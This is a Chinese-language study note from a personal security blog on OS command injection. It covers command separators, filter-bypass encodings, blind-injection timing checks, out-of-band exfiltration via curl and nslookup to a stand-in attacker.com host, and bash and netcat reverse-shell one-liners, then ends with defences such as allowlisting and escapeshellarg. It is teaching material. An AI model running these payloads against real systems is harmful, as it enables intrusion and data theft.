网络安全 / A LEAF IN THE GARDEN
命令注入
网络安全 · web / web漏洞。来自 Daily Learning 的学习笔记。
注入
程序把用户输入拼接到系统命令,攻击者可以注入恶意命令
$patt = $_GET['cmd'];
system("grep $patt /etc/passwd");
注入一般有三个部分
[消除上文] [夹带私货] [消除下文]
; whoami #
命令分隔符
通常用命令分隔符实现消除上文和下文
| 分隔符 | 含义 |
|---|---|
; | 顺序执行,互不影响 |
| | 管道,前一命令输出给后一命令 |
|| | 前一命令失败才执行后一命令 |
&& | 前一命令成功才执行后一命令 |
& | 后台执行,前台继续下一命令 |
$() | 命令替换,执行括号内命令并替换为执行结果 |
\n | 换行,两行命令先后执行 |
# | 注释,消除下文 |
过滤绕过
有些程序会对用户输入进行过滤,不允许某些关键词,但可用各种方法绕过。
无影响替换
关键命令被过滤时,可对命令进行没有实际影响的变换。
-
大小写混合:
WhOaMi -
反斜杠转义:
who\ami -
引号分割:
who"am"iwho''ami -
空变量插入:
who${x}ami
通配符
使用通配符,搭配命令绝对路径,绕过关键词过滤
/usr/bin/wh?ami
特殊替换
关键字符被过滤时,可用其特殊替换绕过
-
${IFS}: Internal Field Separator,替换空格 -
${HOME:0:1}: 主目录首字符,替换路径分隔符
编码
输入编码后的命令,通过管道符解码再执行
-
base64编码echo "d2hvYW1p" | base64 -d | bash -
十六进制编码
echo "77686f616d690a" | xxd -p -r | bash
盲注入
有些程序不会返回命令执行结果,可通过一些方法判断命令是否执行成功。
时间延迟
使用延时命令后,观察页面响应时间
-
sleep: 延迟指定秒数sleep 5 -
ping: 通过参数控制时间# 发 5 个包,每个间隔 1 秒,约 5 秒后返回 ping -c 5 -i 1 localhost
出网外带(OOB-Out of Band)
执行命令后,向攻击者的服务器发送反馈信息
DNS 外带
查询攻击者控制的域名,信息挂在子域名上
nslookup $(whoami).attacker.com
HTTP 外带
用 HTTP 请求向攻击者服务器发送信息
# 信息挂在 URL 文件路径上
curl http://attacker.com/$(whoami)
# 信息挂在请求头上
curl -H "Info: $(whoami)" http://attacker.com
# 信息挂在请求体中
curl -d "info=$(whoami)" http://attacker.com
文件写入
重定向使结果写入文件
whoami > /var/www/html/info.txt
再访问该文件
GET /info.txt HTTP/1.1
反弹 shell
利用命令注入的机会打开一个反弹 shell(正向 shell 也行)
# bash 反弹 shell
bash -i >& /dev/tcp/attacker/1234 0>&1
# nc 反弹 shell
nc -e /bin/bash attacker 1234
nc attacker 1234 | bash 2>&1 | nc attacker 5678
# fifo 反弹 shell
mkfifo /tmp/f;
nc attacker 1234 0</tmp/f | bash &> /tmp/f
防御
由最佳防御到最差防御,顺序如下:
避免
最好的办法就是不要拼接用户输入到系统命令中,使用语言提供的 API 代替系统命令。
白名单
只允许特定命令或特定格式输入
$host = $_GET['host'];
if(!filter_var($host, FILTER_VALIDATE_IP)){
die("Invalid IP address");
}
参数转义
使输入的特殊字符失去特殊含义,避免命令注入
$host = escapeshellarg($_GET['host']);
system("ping -c 4 $host");
黑名单
禁用部分命令或字符,容易被绕过